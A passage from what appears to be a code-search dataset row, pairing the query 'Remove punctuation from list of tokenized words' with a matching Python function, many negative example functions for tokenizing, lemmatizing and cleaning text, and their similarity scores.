TextProcessor.remove_punctuation(word)\\n if preprocessed_word:\\n normalized_text.append(preprocessed_word.lower())\\n\\n return normalized_text\",\n \"def target_words(self) -> List[str]:\\n return list(map(\\n lambda w: self.spaces[w.lower()] \\n if w.lower() in self.spaces else w.lower(), \\n self.keywords\\n ))\",\n \"def tokenize(text):\\n\\n tokens = word_tokenize(text)\\n lemmatizer = WordNetLemmatizer()\\n\\n return [lemmatizer.lemmatize(token).lower().strip() for token in tokens]\",\n \"def format_words(words):\\n return sorted(words, key=str.lower)\",\n \"def pre_process(text):\\n # replace (,.'\\\") with ''\\n text = text.replace(',', '')\\n text = text.replace('.', '')\\n text = text.replace(\\\"'\\\", '')\\n text = text.replace(\\\"\\\\\\\"\\\", '')\\n\\n # tokenize into words\\n tokens = [word for sent in sent_tokenize(text) for word in word_tokenize(sent)]\\n\\n # remove stopwords\\n stop = stopwords.words('english')\\n tokens = [token for token in tokens if token not in stop]\\n\\n # remove words less than three letters\\n tokens = [word for word in tokens if len(word) >= 3]\\n\\n # lower capitalization\\n tokens = [word.lower() for word in tokens]\\n\\n # lemmatize\\n lmtzr = WordNetLemmatizer()\\n tokens = [lmtzr.lemmatize(word) for word in tokens]\\n\\n return tokens\",\n \"def separate_words(text):\\n splitter = re.compile('\\\\\\\\W*')\\n return [s.lower() for s in splitter.split(text) if s != '']\",\n \"def tokenize(text):\\n tokens=word_tokenize(text)\\n lemmatizer=WordNetLemmatizer()\\n \\n clean_tokens=[]\\n for tok in tokens:\\n clean_tok = lemmatizer.lemmatize(tok).lower().strip()\\n clean_tokens.append(clean_tok)\\n return clean_tokens\\n pass\",\n \"def normalize_contractions(tokens):\\n token_map = {\\n \\\"i'm\\\": \\\"i am\\\",\\n \\\"you're\\\": \\\"you are\\\",\\n \\\"it's\\\": \\\"it is\\\",\\n \\\"we're\\\": \\\"we are\\\",\\n \\\"we'll\\\": \\\"we will\\\",\\n }\\n for tok in tokens:\\n if tok in token_map.keys():\\n for item in token_map[tok].split():\\n yield item\\n else:\\n yield tok\",\n \"def LCase(text):\\n return text.lower()\",\n \"def tokenize(self, N=None, drop_punctuation=True, lower=True):\\n for tok in self.tokenize_generic(word_tokenize, N=N, drop_punctuation=drop_punctuation):\\n if lower:\\n tok = tok.lower()\\n yield tok\",\n \"def normalize_word(text):\\n if text:\\n stripped = \\\"\\\".join(unicode(text).translate(tbl).lower().split())\\n return stripped\",\n \"def tokenize(text):\\n tokens = word_tokenize(text)\\n lemmatizer = WordNetLemmatizer()\\n\\n clean_tokens = []\\n for tok in tokens:\\n clean_tok = lemmatizer.lemmatize(tok).lower().strip()\\n clean_tokens.append(clean_tok)\\n \\n return clean_tokens\",\n \"def _preprocess(self):\\n _words = []\\n \\n # Preprocess Token List.\\n wasCaps = False\\n nwords = len(self._words)\\n for index in range(nwords):\\n word = self._words[index]\\n length = len(word['word'])\\n\\n # (1) Remove periods from abbreviations\\n if word['word'] == '.':\\n # Preceded by a single letter\\n if len(_words) > 0 and len(_words[-1]['word']) == 1 and _words[-1]['word'].isalpha():\\n # Set previous word as Abbreviation\\n if _words[-1]['tag'] not in [Vocabulary.NAME, Vocabulary.TITLE]:\\n _words[-1]['tag'] = Vocabulary.ABBR\\n # Drop the punct!\\n # Proceeded by an abbreviated name title\\n elif self._punct == False and len(_words) > 0 and (_words[-1]['tag'] in [Vocabulary.NAME, Vocabulary.TITLE] or _words[-1]['tag'] == Vocabulary.DATE):\\n # Drop the punct!\\n pass\\n else:\\n _words.append(word)\\n \\n # Single character\\n elif length == 1:\\n # Lowercase the single letter\\n if word['word'].isupper():\\n word['word'] = word['word'].lower()\\n \\n if word['word'].isalpha():\\n # Continuation of a Name\\n if len(_words) > 0 and _words[-1]['tag'] == Vocabulary.NAME:\\n word['tag'] = Vocabulary.NAME\\n \\n # Keep single letter word\\n _words.append(word)\\n \\n wasCaps = False\\n \\n # Multiple Character \\n else:\\n # All Uppercased (can't start with digit)\\n if word['word'].isupper() and not word['word'][0].isdigit() and not word['word'][0] == '°':\\n # (2) Identify Acronyms\\n # If the next word is uppercased, it is a title line, not an acronym\\n # If last word is uppercased, it is a title line, not an acronym\\n word['word'] = word['word'].lower()\\n if not (index+1 < nwords and self._words[index+1]['word'].isupper()) and (index+1 != nwords or wasCaps == False):\\n try:\\n v = vocab[word['word']]\\n if Vocabulary.NAME in v['tag']:\\n word['tag'] = Vocabulary.NAME\\n # Word is a title (e.g., CEO)\\n elif Vocabulary.TITLE in v['tag']:\\n word['tag'] = Vocabulary.TITLE\\n itag = v['tag'].index(Vocabulary.TITLE)\\n word['word'] = v['lemma'][itag]\\n else:\\n word['tag'] = Vocabulary.ACRONYM\\n except:\\n word['tag'] = Vocabulary.ACRONYM\\n \\n wasCaps = True\\n \\n # First Letter is Capitalized\\n elif word['word'][0].isupper():\\n # First Word \\n if len(_words) == 0:\\n pass\\n # Follows abbreviated title\\n elif len(_words) > 1 and _words[-1]['word'] == '.' and _words[-2]['tag'] == Vocabulary.TITLE:\\n word['tag'] = Vocabulary.NAME\\n # Start of Sentence\\n elif _words[-1]['tag'] == Vocabulary.PUNCT and _words[-1]['word'] not in [',', ':']:\\n pass\\n elif word['word'] in ['Jan', 'January', 'Feb', 'February', 'Mar', 'March', 'Apr', 'April', 'May', 'Jun', 'June', 'Jul', 'July', 'Aug', 'August', 'Sep', 'Sept', 'September', 'Oct', 'October', 'Nov', 'November', 'Dec', 'December']:\\n word['tag'] = Vocabulary.DATE\\n # (3) Identify Proper Names\\n # Word is capitalized and not proceeded by period (.), question (?) or exclamation (!)\\n # or single/double quote\\n else:\\n word['tag'] = Vocabulary.NAME\\n # Proceeding Acronym is a really part of a name\\n if len(_words) > 0 and _words[-1]['tag'] == Vocabulary.ACRONYM:\\n _words[-1]['tag'] = Vocabulary.NAME\\n # Proceeding Word is a Title of a name (e.g., Mr)\\n else:\\n try:\\n v = vocab[_words[-1]['word']]\\n if Vocabulary.TITLE in v['tag']:\\n _words[-1]['tag'] = Vocabulary.TITLE\\n itag = v['tag'].index(Vocabulary.TITLE)\\n _words[-1]['word'] = v['lemma'][itag]\\n \\n except:\\n # Word is an ending title in a name\\n try:\\n v = vocab[word['word'].lower()]\\n if Vocabulary.TITLE in v['tag'] and Vocabulary.STREET_TYPE not in v['tag'] and Vocabulary.STATE not in v['tag']:\\n word['tag'] = Vocabulary.TITLE\\n itag = v['tag'].index(Vocabulary.TITLE)\\n word['word'] = v['lemma'][itag]\\n except: pass\\n wasCaps = False\\n \\n # First Letter is a Digit\\n elif word['word'][0].isdigit():\\n cont = False\\n # Check if this is a number combined with a unit\\n for i in range(1, len(word['word'])):\\n # Separate the number from the proceeding text\\n if word['word'][i].isalpha():\\n token = word['word'][i:].lower()\\n # Check if the proceeding text is a Unit of Measurement\\n try:\\n v = vocab[token]\\n if Vocabulary.UNIT in v['tag']:\\n itag = v['tag'].index(Vocabulary.UNIT)\\n _words.append( { 'word': word['word'][0:i], 'tag': Vocabulary.NUMBER } )\\n _words.append( { 'word': v['lemma'][itag], 'tag': Vocabulary.UNIT } )\\n cont = True\\n except: pass\\n break\\n elif not word['word'][i].isdigit() and word['word'][i] != Words.DECIMAL:\\n break\\n if cont == True:\\n continue\\n \\n # lowercase\\n word['word'] = word['word'].lower()\\n # romanize\\n if self._roman:\\n word['word'] = unidecode(word['word'])\\n _words.append(word)\\n \\n self._words = _words\",\n \"def tokenize(text):\\n text = re.sub('[^A-Za-z0-9]', ' ', text)\\n tokens = word_tokenize(text)\\n lemmatizer = WordNetLemmatizer()\\n\\n clean_tokens = []\\n for tok in tokens:\\n clean_tok = lemmatizer.lemmatize(tok).lower().strip()\\n clean_tokens.append(clean_tok)\\n return clean_tokens\",\n \"def normalise(word):\\n\\t\\tword = word.lower()\\n\\t\\tword = lemmatizer.lemmatize(word)\\n\\t\\t# word = stemmer.stem_word(word)\\n\\t\\treturn word\",\n \"def make_alphabetic(text):\\n text = re.sub(r'[^A-Za-z\\\\s]', '', text)\\n return text.lower()\",\n \"def latinize_word(word):\\n if word[0].lower() in 'bcdfghjklmnpqrstvwxyz':\\n word = word[1:] + word[0] + 'uzz'\\n else:\\n word += 'buzz'\\n return word.lower()\",\n \"def normalize_words(document):\\n stopwords = set(nltk.corpus.stopwords.words('english'))\\n lemmatizer = nltk.stem.wordnet.WordNetLemmatizer()\\n for token in document:\\n token = token.lower()\\n if token in string.punctuation: continue\\n if token in stopwords: continue\\n yield lemmatizer.lemmatize(token)\",\n \"def tokenize(text):\\n text = re.sub(r\\\"[^a-zA-Z0-9]+\\\", \\\" \\\", text.lower())\\n\\n tokens = word_tokenize(text)\\n lemmatizer = WordNetLemmatizer()\\n\\n clean_tokens = []\\n for tok in tokens:\\n clean_tok = lemmatizer.lemmatize(tok).lower().strip()\\n clean_tokens.append(clean_tok)\\n\\n return clean_tokens\",\n \"def tokenize(text):\\n tokens = word_tokenize(text)\\n lemmatizer = WordNetLemmatizer()\\n\\n clean_tokens = []\\n for tok in tokens:\\n clean_tok = lemmatizer.lemmatize(tok).lower().strip()\\n clean_tokens.append(clean_tok)\\n\\n return clean_tokens\",\n \"def convert_words(textfilename):\\r\\n words_lst = []\\r\\n for line in textfilename:\\r\\n word = line.rstrip().lower()\\r\\n words_lst.append(word)\\r\\n return words_lst\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.825361","0.81953853","0.79781765","0.781734","0.7800716","0.7751302","0.7673937","0.76445544","0.76206166","0.76206166","0.76206166","0.76206166","0.76206166","0.76206166","0.76206166","0.7522023","0.74568486","0.7307557","0.71714586","0.7123188","0.69849426","0.6983551","0.68570787","0.6821391","0.6815797","0.6752138","0.6731911","0.67167306","0.6706106","0.6702057","0.6701329","0.668892","0.66632164","0.66608036","0.66590506","0.66428995","0.6638481","0.65653694","0.65552825","0.6542251","0.6542251","0.65019226","0.64991844","0.6484119","0.6471375","0.6470953","0.6459781","0.64564186","0.6444727","0.64186686","0.6417761","0.6411355","0.63680446","0.63604766","0.6346452","0.62955695","0.6275701","0.6254494","0.6254317","0.62526363","0.6251602","0.6249925","0.62448263","0.6243222","0.62388766","0.62368727","0.6225595","0.622231","0.61869466","0.61856323","0.61853325","0.61783737","0.6172103","0.6171577","0.61611617","0.6158717","0.6156162","0.615573","0.615257","0.6148478","0.6140684","0.6134886","0.61344707","0.6134056","0.6133991","0.61322397","0.6127872","0.612151","0.61214757","0.61196446","0.6117678","0.6110467","0.6107687","0.61075556","0.61046416","0.6096751","0.6094574","0.6081476","0.60811245","0.6079047"],"string":"[\n \"0.825361\",\n \"0.81953853\",\n \"0.79781765\",\n \"0.781734\",\n \"0.7800716\",\n \"0.7751302\",\n \"0.7673937\",\n \"0.76445544\",\n \"0.76206166\",\n \"0.76206166\",\n \"0.76206166\",\n \"0.76206166\",\n \"0.76206166\",\n \"0.76206166\",\n \"0.76206166\",\n \"0.7522023\",\n \"0.74568486\",\n \"0.7307557\",\n \"0.71714586\",\n \"0.7123188\",\n \"0.69849426\",\n \"0.6983551\",\n \"0.68570787\",\n \"0.6821391\",\n \"0.6815797\",\n \"0.6752138\",\n \"0.6731911\",\n \"0.67167306\",\n \"0.6706106\",\n \"0.6702057\",\n \"0.6701329\",\n \"0.668892\",\n \"0.66632164\",\n \"0.66608036\",\n \"0.66590506\",\n \"0.66428995\",\n \"0.6638481\",\n \"0.65653694\",\n \"0.65552825\",\n \"0.6542251\",\n \"0.6542251\",\n \"0.65019226\",\n \"0.64991844\",\n \"0.6484119\",\n \"0.6471375\",\n \"0.6470953\",\n \"0.6459781\",\n \"0.64564186\",\n \"0.6444727\",\n \"0.64186686\",\n \"0.6417761\",\n \"0.6411355\",\n \"0.63680446\",\n \"0.63604766\",\n \"0.6346452\",\n \"0.62955695\",\n \"0.6275701\",\n \"0.6254494\",\n \"0.6254317\",\n \"0.62526363\",\n \"0.6251602\",\n \"0.6249925\",\n \"0.62448263\",\n \"0.6243222\",\n \"0.62388766\",\n \"0.62368727\",\n \"0.6225595\",\n \"0.622231\",\n \"0.61869466\",\n \"0.61856323\",\n \"0.61853325\",\n \"0.61783737\",\n \"0.6172103\",\n \"0.6171577\",\n \"0.61611617\",\n \"0.6158717\",\n \"0.6156162\",\n \"0.615573\",\n \"0.615257\",\n \"0.6148478\",\n \"0.6140684\",\n \"0.6134886\",\n \"0.61344707\",\n \"0.6134056\",\n \"0.6133991\",\n \"0.61322397\",\n \"0.6127872\",\n \"0.612151\",\n \"0.61214757\",\n \"0.61196446\",\n \"0.6117678\",\n \"0.6110467\",\n \"0.6107687\",\n \"0.61075556\",\n \"0.61046416\",\n \"0.6096751\",\n \"0.6094574\",\n \"0.6081476\",\n \"0.60811245\",\n \"0.6079047\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.75346315"},"document_rank":{"kind":"string","value":"15"}}},{"rowIdx":15399,"cells":{"query":{"kind":"string","value":"Remove punctuation from list of tokenized words"},"document":{"kind":"string","value":"def remove_punctuation(words):\n new_words = []\n for word in words:\n new_word = re.sub(r'[^\\w\\s]', '', word)\n if new_word != '':\n new_words.append(new_word)\n return(new_words)"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def remove_punctuations(tokenized_word_list):\n puncuations = set(string.punctuation)\n\n double_quote = '\\'\\''\n double_sign = '``'\n\n puncuations.add(double_quote)\n puncuations.add(double_sign)\n\n filtered_tokens = [word for word in tokenized_word_list if word not in puncuations]\n return filtered_tokens","def remove_punctuation(words: list) -> list:\n new_words = []\n for word in words:\n new_word = re.sub(r'[^\\w\\s]', '', word)\n if new_word != '':\n new_words.append(new_word)\n return new_words","def _remove_punctuation(words):\n new_words = []\n for word in words:\n new_word = re.sub(r'[^\\w\\s]', '', word)\n if new_word != '':\n new_words.append(new_word)\n return new_words","def remove_punctuation(words):\r\n new_words = []\r\n for word in words:\r\n new_word = re.sub(r'[^\\w\\s]', '', word)\r\n if new_word != '':\r\n new_words.append(new_word)\r\n return new_words","def remove_punctuation(words):\n new_words = []\n for word in words:\n new_word = re.sub(r'[^\\w\\s]', '', word)\n if new_word != '':\n new_words.append(new_word)\n return new_words","def remove_punctuation(words):\n new_words = []\n for word in words:\n new_word = re.sub(r'[^\\w\\s]', '', word)\n if new_word != '':\n new_words.append(new_word)\n return new_words","def remove_punctuation(words):\n new_words = []\n for word in words:\n new_word = re.sub(r'[^\\w\\s]', '', word)\n if new_word != '':\n new_words.append(new_word)\n return new_words","def remove_punctuation(words):\n new_words = []\n for word in words:\n new_word = re.sub(r'[^\\w\\s]', '', word)\n if new_word != '':\n new_words.append(new_word)\n return new_words","def remove_punctuation(words):\n new_words = []\n for word in words:\n new_word = re.sub(r'[^\\w\\s]', '', word)\n if new_word != '':\n new_words.append(new_word)\n return new_words","def remove_punctuation(words):\n new_words = []\n for word in words:\n new_word = re.sub(r'[^\\w\\s]', '', word)\n if new_word != '':\n new_words.append(new_word)\n return new_words","def remove_punctuations(tokens):\n if not remove_punctuations_activated:\n return tokens\n output = []\n for token in tokens:\n if token not in string.punctuation:\n output.append(token)\n return output","def remove_punctuation(words):\n removed_punctuation = []\n for word in words:\n new_word = re.sub(r'[^\\w\\s]', '', word)\n if new_word != '':\n removed_punctuation.append(new_word)\n return removed_punctuation","def removePunctuation(self, words):\n\t\tnewWords = []\n\t\tfor word in words:\n\t\t\tnewWord = re.sub(r'[^\\w\\s]', '', word)\n\t\t\tif newWord != '':\n\t\t\t\tnewWords.append(newWord)\n\t\treturn newWords","def strip_punctuation(word_list):\n return [word.strip(punctuation) for word in word_list]","def removePunctuation(self, words):\n\t\treturn self.__punctuationRegex.sub(' ', words)","def remove_punctuation_and_splchars(words):\n new_words = []\n for word in words:\n new_word = re.sub(r'[^\\w\\s]', '', word)\n if new_word != '':\n new_word = remove_special_characters(new_word, True)\n new_words.append(new_word)\n return new_words","def remove_punctuation(self):\n new_words = []\n # new_words = \"\"\n for word in self.words:\n new_word = re.sub(r'[^\\w\\s]', '', word)\n if new_word != '':\n new_words.append(new_word)\n # new_words += f\"{new_word} \"\n self.words = new_words\n return self","def clean(words):\r\n tokens = []\r\n try:\r\n for token in words:\r\n token = re.sub(r'[\\W\\d_]', \" \", token)\r\n tokens.append(token)\r\n except:\r\n token = \"\"\r\n tokens.append(token)\r\n \r\n return tokens","def removePunc(text):\r\n\t\r\n\tlistFromText = []\r\n\r\n\tfor word in text.split():\r\n\t\tword = word.strip(string.punctuation) # menghapus tanda baca dalam teks\r\n\t\tlistFromText.append(word)\r\n\r\n\treturn listFromText","def punctutation_removal(tokenised_document):\n\n tokenised_document = [\n i for i in tokenised_document if i not in punctuation]\n tokenised_document_cleaner = []\n for i in tokenised_document:\n word = re.split(r'\\W', i)\n if (len(word) == 1):\n tokenised_document_cleaner.append(word[0])\n elif (len(word) == 2):\n if (word[0].isalpha() == False):\n tokenised_document_cleaner.append(word[1])\n elif (word[1].isalpha() == False):\n tokenised_document_cleaner.append(word[0])\n elif (word[0].isalpha() == True and word[1].isalpha() == True): # can affect collocations\n tokenised_document_cleaner.append(word[0])\n tokenised_document_cleaner.append(word[1])\n # to remove null strings\n resultant_tokenised_doc = []\n for word in tokenised_document_cleaner:\n if word != '':\n resultant_tokenised_doc.append(word)\n return resultant_tokenised_doc","def remove_punctuation(text):\n words = text.split()\n table = str.maketrans(\"\", \"\", string.punctuation)\n return ' '.join([w.translate(table) for w in words])","def remove_punct_tokens(mylist):\n\treturnlist = []\n\tfor elem in mylist:\n\t\tif not re.match(r'^[^\\w\\s]', elem):\n\t\t\treturnlist.append(elem)\n\treturn returnlist","def sanitize_text(tokens, stopwords=None):\n\n tokens = [x.lower() for x in tokens]\n regex = re.compile('[^a-z]')\n\n for index in range(len(tokens)):\n tokens[index] = regex.sub('', tokens[index])\n if stopwords and tokens[index] in stopwords:\n tokens[index] = ''\n\n # remove empty elements\n tokens = [token for token in tokens if token != '']\n return tokens","def processText(text):\n\n no_punc = [word for word in text.split() if word.isalpha()] # and word not in stopwords.words('english')]\n #removes non-letter characters and only includes words not included in stopwords\n no_punc = \" \".join(no_punc) \n clean_words = nltk.word_tokenize(no_punc) #splits the punctuation marks from the real words\n return clean_words","def clean_non_word_chars(tokens):\n toks = []\n for token in tokens:\n t = re.sub(r'\\W', \"\", token)\n if len(t) > 1:\n toks.append(t)\n\n return toks","def process_text(text, stem=True):\n exclude = set(string.punctuation)\n text = ''.join(ch for ch in text if ch not in exclude)\n #text = text.translate(None, string.punctuation)\n tokens = word_tokenize(text)\n if stem:\n stemmer = PorterStemmer()\n tokens = [stemmer.stem(t) for t in tokens]\n return tokens","def clean_doc(doc):\n tokens = doc.split()\n table = str.maketrans('', '', punctuation)\n tokens = [w.translate(table) for w in tokens]\n tokens = [word.lower() for word in tokens if word.isalpha()]\n stop_words = set(stopwords.words('english'))\n tokens = [w for w in tokens if not w in stop_words]\n tokens = [word for word in tokens if len(word) > 1]\n return tokens","def process_text(text):\n words = word_tokenize(text)\n return [word.lower() for word in words if word not in string.punctuation]","def remove_punctuation(text):\n return re.sub(r'[^\\w]', ' ', text)","def normalize_tokens(tokens, language):\n try:\n stopwords = set(nltk.corpus.stopwords.words(language))\n except IOError:\n stopwords = {}\n return [t for t in tokens if t.isalnum() and t not in stopwords]","def cleanup(text):\n\n\tRE_D = re.compile('\\d')\n\n\ttokens = text.split()\n\tnew_tokens = list()\n\tfor t in tokens:\n\t\tif RE_D.search(t):\n\t\t\tcontinue\n\t\tfor p in string.punctuation:\n\t\t\tif p == \".\":\n\t\t\t\tcontinue\n\t\t\tt=t.replace(p,\"\")\n\t\tnew_tokens.append(t.lower().strip())\n\n\treturn \" \".join(new_tokens)","def simple_tokenizer(text):\n re_tok = re.compile(punctuation_string)\n return re_tok.sub(' ', text).split()","def stripPunctuation(stri):\n for char in string.punctuation:\n stri = re.sub(r'[\\W]+', ' ', stri) \n\n return stri","def remove_punctuation(text):\n s =[]\n for char in text:\n if char in punc:\n s.append(\" \")\n else:\n s.append(char) \n return \"\".join(s)","def clean_stopwords_punctuation(wordlist, punctuation=string.punctuation,\n stopwords=stopwords.words('english')):\n\n cleaned = WordList(w for w in wordlist if w not in punctuation and w not in stopwords)\n cleaned = ' '.join(cleaned)\n return cleaned","def remove_punctuation(text):\n text = re.sub(r'[^\\w\\s]', ' ', text)\n return text","def removePunctuation(self, text=None):\n\t\t# Loop through all the punctuation in self.stop_puncs\n\t\tfor punctuation in self.stop_puncs:\n\n\t\t\t# Replace punctuation with leading and trailing spaces\n\t\t\ttext = text.replace(\" \" + punctuation, \" \")\n\t\t\ttext = text.replace(punctuation + \" \", \" \")\n\n\t\t\t# Replace punctuation within the first and last 5 characters of the text\n\t\t\ttext = text[:5].replace(punctuation, \"\") + text[5:]\n\t\t\ttext = text[:-5] + text[-5:].replace(punctuation, \"\")\n\n\t\t\t# Otherwise, remove the punctuation if not in list specified\n\t\t\tif punctuation not in [\".\", \",\", \"-\", \"--\"]:\n\t\t\t\ttext = text.replace(punctuation, \"\")\n\n\t\treturn text","def sent_to_words(sent: str) -> List[str]:\n return [word for word in sent.split() if word not in string.punctuation]","def stripPunctuation(data):\n for punctuation in punctuations:\n data = data.replace(punctuation, \" \")\n return data","def remove_punc(text):\n for punctuation in string.punctuation:\n text = text.replace(punctuation, ' ')\n text = re.sub(\" +\", \" \", text)\n return text","def remove_punctuation(text_list: list) -> list:\n for text_index in range(len(text_list), 0, -1):\n if(text_list[text_index-1] in string.punctuation):\n text_list.pop(text_index-1)\n return text_list","def remove_puncts(text):\n # regex rocks\n #return re.sub('[%s]'%PUNCTS, ' ', text)\n return REMOVE_PUNCTS_RE.sub(' ', text)","def tokenize(text):\n text = text.lower()\n remove = re.compile('[' + string.punctuation + '0-9\\\\r\\\\t\\\\n]')\n cleanText = re.sub(remove, \" \", text)\n tokens = nltk.word_tokenize(cleanText)\n tokens = [w.lower() for w in tokens if (len(w) >= 3 and w not in ENGLISH_STOP_WORDS)]\n return tokens","def remove_punctuations(text):\n return text.translate(str.maketrans('', '', string.punctuation))","def preprocess_sentence(raw):\r\n\t\r\n\t# raw = re.sub(r\"[\\x80-\\xff]\",\" \",raw)\r\n\t\r\n\traw = regex_punct.sub(' ',raw)\r\n\traw = raw.strip()\r\n\traw = raw.lower()\r\n\t\r\n\twords = nltk.word_tokenize(raw)\r\n\twords = [replace_punctuation(w) for w in words if not w in stopwords and len(w) > 1]\r\n\t\r\n\treturn(' '.join(words))","def clean_the_text(text):\n \n #Replace non-word characters with empty space\n text = re.sub('[^A-Za-z0-9\\s]', ' ', text)\n \n #Remove punctuation\n text = ''.join([word for word in text if word not in string.punctuation])\n \n #Bring text to lower case\n text = text.lower()\n \n #Tokenize the text\n tokens = re.split('\\W+', text)\n \n #Remove stopwords\n text = [word for word in tokens if word not in stopword]\n \n #Lemmatize the words\n text = [wn.lemmatize(word) for word in text]\n \n #Return text\n return text","def remove_punctuation(text):\n return re.sub('[,.?\";:\\-!@#$%^&*()]', '', text)","def clean_article(text):\n tokens = word_tokenize(text)\n tokens = [word.lower() for word in tokens]\n table = str.maketrans('', '', string.punctuation)\n stripped = [w.translate(table) for w in tokens]\n words = [word for word in stripped if word.isalpha()]\n stop_words = list(set(stopwords.words('english'))) + EXTRA_STOPWORDS\n words_list = [w for w in words if w not in stop_words]\n return words_list","def tokenize(text):\n text = re.sub(r'[^0-9A-Za-z]',\" \", text).lower()\n text = word_tokenize(text)\n return [w for w in text if not w in stop_words]","def remove_punct(self,text):","def normalize_text(text: str) -> List[str]:\n normalized_text = []\n\n for word in text.split():\n preprocessed_word = TextProcessor.remove_punctuation(word)\n if preprocessed_word:\n normalized_text.append(preprocessed_word.lower())\n\n return normalized_text","def clean_punctuation(s, punc_to_keep=[]):\r\n\r\n if not isinstance(s, str):\r\n raise ValueError('The value passed is not a string')\r\n\r\n PUNCT = re.compile('[%s]' % re.escape(\"\".join(set(string.punctuation) - set(punc_to_keep))))\r\n return re.sub('\\s+', ' ', PUNCT.sub('', s)).strip()","def clean_raw_data(self, text):\r\n return [token.lower() for token in nltk.word_tokenize(text)\r\n if token not in self.stop_words and token not in punctuation]","def normalize(text):\n removePunctuation = dict((ord(char), None) for char in string.punctuation)\n return stem_tokens(nltk.word_tokenize(text.lower().translate(removePunctuation)))","def remove_unused_words(text_list, vocab):\n vocabset = set(vocab)\n for i in range(0, len(text_list)):\n tokens = word_tokenize(text_list[i])\n tokens = [word for word in tokens if word in vocabset]\n text_list[i] = u' '.join(tokens)\n return text_list","def remove_punctuation(label):\n\n word = \"\".join(c for c in word if c not in ('!','.',':',',','.','?','\\''))\n return word","def tokenize(text):\n text = text.translate(str.maketrans('', '', string.punctuation))\n tokens = word_tokenize(text)\n lemmatizer = WordNetLemmatizer()\n\n clean_tokens = []\n for tok in tokens:\n clean_tok = lemmatizer.lemmatize(tok).lower().strip()\n clean_tokens.append(clean_tok)\n\n s = stopwords.words('english')\n result = []\n for token in clean_tokens:\n if token not in s:\n result.append(token)\n\n return result","def _remove_punctuation(text: str) -> str:\n punctuation = string.punctuation + '¿¡'\n table = str.maketrans('', '', punctuation)\n words = text.split()\n\n stripped = [word.translate(table) for word in words]\n\n return ' '.join(stripped)","def remove_punctuation(input_string):\r\n return ''.join([c for c in input_string if c not in punctuation])","def remove_punctuation(text):\n bad_characters = [\".\", \",\", \";\", \"!\", \"?\", \":\", \"(\", \")\", \"-\", \"/\", \"*\",\n \"' \", \" '\", '\"', \"&\"]\n for bad_character in bad_characters:\n text = text.replace(bad_character, \"\")\n return text.lower()","def clean_article(self):\n # split into tokens by white space\n tokens = self.text.split(\" \")\n # remove punctuation from each token\n table = str.maketrans('', '', punctuation)\n tokens = [w.translate(table) for w in tokens] # type: List[Any]\n # remove remaining tokens that are not alphabetic\n tokens = [word for word in tokens if word.isalpha()]\n # filter out stop words\n stop_words = set(stopwords.words('english'))\n tokens = [w for w in tokens if not w in stop_words]\n # lemmatization and lowercase\n lmtzr = WordNetLemmatizer()\n tokens = [lmtzr.lemmatize(w.lower()) for w in tokens]\n # filter out short tokens\n tokens = [word for word in tokens if len(word) > 1]\n return tokens","def tokenize_doc_simple(self, doc):\n\n tokens = [word.strip(string.punctuation) for word in doc.split()]\n # remove the empty string\n return [token for token in tokens if token]","def remove_punctations_fun(self): \n self.doc = re.sub('[^a-zA-Z0-9]', ' ', self.doc)","def remove_non_words(text_tokens):\n\n # define the set of Latin characters\n keep_list = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',\n 'u', 'v', 'w', 'x', 'y', 'z']\n\n return [words for words in text_tokens if all(letter in keep_list for letter in list(words)) is True]","def remove_characters(tokens):\n pattern = re.compile('[{}]'.format(re.escape(string.punctuation)))\n no_char_tokens = filter(None, [pattern.sub('', token) for token in tokens])\n return no_char_tokens","def stripPunctuation(text):\n exclude = set(string.punctuation)\n clean_text = ''.join(ch for ch in text if ch not in exclude)\n clean_text = clean_text.replace('\\n',' ') # Let's account for newline characters also \n return clean_text.encode('ascii','ignore')","def clean_text(text, stop_word_list=stop_words, stem=True):\n stemmer = PorterStemmer()\n result = text.lower()\n result = result.translate(None, string.punctuation)\n result = result.replace('\\n', ' ')\n result = result.split()\n\n # filter out 'numeric' words such as '14th'\n is_alpha = re.compile('^[a-z]+$')\n result = filter(lambda word: is_alpha.match(word), result)\n\n if stem:\n result = [stemmer.stem(word) for word in result]\n return filter(lambda word: word not in stop_word_list, result)","def lower_and_remove_punc(self):\n table = str.maketrans('', '', punctuation)\n return self.words.lower().translate(table)","def text_clean(text):\n out = []\n # Define a punctuation dictionary so that we can replace each punctuation with an empty space.\n table = str.maketrans('', '', string.punctuation)\n stopWords = set(stopwords.words('senti')) # Set stop words language to English\n tokens = text.split() # Split each tweet into list of words.\n tokens = filter(lambda x: x[0] != '@', tokens) # Remove mentions\n tokens = [word.translate(table) for word in tokens] # Remove punctuation marks\n tokens = [word for word in tokens if word.isalpha()] # Remove any word that is not completely alphabetic.\n tokens = [word for word in tokens if len(word) > 1] # Remove any word that is shorter than two letters\n tokens = [word.lower() for word in tokens]\n tokens = [word for word in tokens if not word in stopWords] # Remove any stopwords\n token = \"\"\n for i in tokens:\n token += (i + \" \")\n out.append(token)\n return out","def tokenize(document):\n raw_words=[word.lower() for word in nltk.word_tokenize(document) if word.isalpha()]\n raw_words=[word.lower() for word in raw_words]\n final_words=[]\n for word in raw_words:\n if word not in string.punctuation and word not in nltk.corpus.stopwords.words(\"english\"):\n final_words.append(word.lower())\n return final_words","def remove_punctuations(self, text):\n translator = str.maketrans('', '', self._punctuations_list)\n return text.translate(translator)","def clean_doc(doc):\n tokens = doc.split()\n # Remove punctuation marks [., ;, :, \", e.t.c]\n re_punc = re.compile('[%s]' % re.escape(string.punctuation))\n tokens = [re_punc.sub('', w) for w in tokens]\n # Keep only alphabetic words (Remove words with numbers)\n tokens = [word for word in tokens if word.isalpha()]\n # Remove stop words like \"and, but, a, the, an\" e.t.c\n stop_words = set(stopwords.words('english'))\n tokens = [w for w in tokens if not w in stop_words]\n # Remove all other 1-character words if they're still in there\n tokens = [word for word in tokens if len(word) > 1]\n return tokens","def punctuation_filter(sentence):\n filtered_sentence = sentence\n regexps = [(r\"[.!?,\\-()\\[\\]\\\\]\", \" \"),\n (r\"&\", \"und\"),\n (r\" {2,}\", \" \")]\n for find, replace in regexps:\n filtered_sentence = re.sub(find, replace, filtered_sentence)\n \n return filtered_sentence","def test_drop_punctuation():\n assert 